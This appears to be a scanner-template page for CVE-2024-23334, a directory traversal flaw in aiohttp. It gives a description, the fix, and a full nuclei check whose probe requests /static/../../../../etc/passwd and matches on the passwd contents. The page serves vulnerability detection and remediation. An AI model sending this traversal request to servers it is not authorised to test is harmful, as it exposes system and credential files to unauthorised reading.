aiohttp - Directory Traversal

highseverity

7.5CVSS score

76.9%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

aiohttp is an asynchronous HTTP client/server framework for asyncio and Python. When using aiohttp as a web server and configuring static routes, it is necessary to specify the root path for static files. Additionally, the option 'follow_symlinks' can be used to determine whether to follow symbolic links outside the static root directory. When 'follow_symlinks' is set to True, there is no validation to check if reading a file is within the root directory. This can lead to directory traversal vulnerabilities, resulting in unauthorized access to arbitrary files on the system, even when symlinks are not present. Disabling follow_symlinks and using a reverse proxy are encouraged mitigations. Version 3.9.2 fixes this issue.

Impact

Unauthenticated attackers can read arbitrary files on the server including sensitive configuration files with credentials and other sensitive data.

Fix

Update aiohttp to version 3.9.2 or later, or disable follow_symlinks option.

How to confirm it

Send: GET {{BaseURL}}/static/../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND contains in header "aiohttp" and "application/octet-stream" AND status 200

Run it with nuclei: nuclei -id CVE-2024-23334 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2024-23334

info:
  name: aiohttp - Directory Traversal
  author: DhiyaneshDk
  severity: high
  description: |
    aiohttp is an asynchronous HTTP client/server framework for asyncio and Python. When using aiohttp as a web server and configuring static routes, it is necessary to specify the root path for static files. Additionally, the option 'follow_symlinks' can be used to determine whether to follow symbolic links outside the static root directory. When 'follow_symlinks' is set to True, there is no validation to check if reading a file is within the root directory. This can lead to directory traversal vulnerabilities, resulting in unauthorized access to arbitrary files on the system, even when symlinks are not present. Disabling follow_symlinks and using a reverse proxy are encouraged mitigations. Version 3.9.2 fixes this issue.
  impact: |
    Unauthenticated attackers can read arbitrary files on the server including sensitive configuration files with credentials and other sensitive data.
  remediation: |
    Update aiohttp to version 3.9.2 or later, or disable follow_symlinks option.
  reference:
    - https://lists.fedoraproject.org/archives/list/[email protected]/message/ICUOCFGTB25WUT336BZ4UNYLSZOUVKBD/
    - https://lists.fedoraproject.org/archives/list/[email protected]/message/XXWVZIVAYWEBHNRIILZVB3R3SDQNNAA7/
    - https://x.com/W01fh4cker/status/1762491210953060827?s=20
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-23334
    cwe-id: CWE-22
    epss-score: 0.76875
    epss-percentile: 0.99553
    cpe: cpe:2.3:a:aiohttp:aiohttp:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: aiohttp
    product: aiohttp
  tags: cve,cve2024,aiohttp,lfi,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/static/../../../../etc/passwd'

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - "aiohttp"
          - "application/octet-stream"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from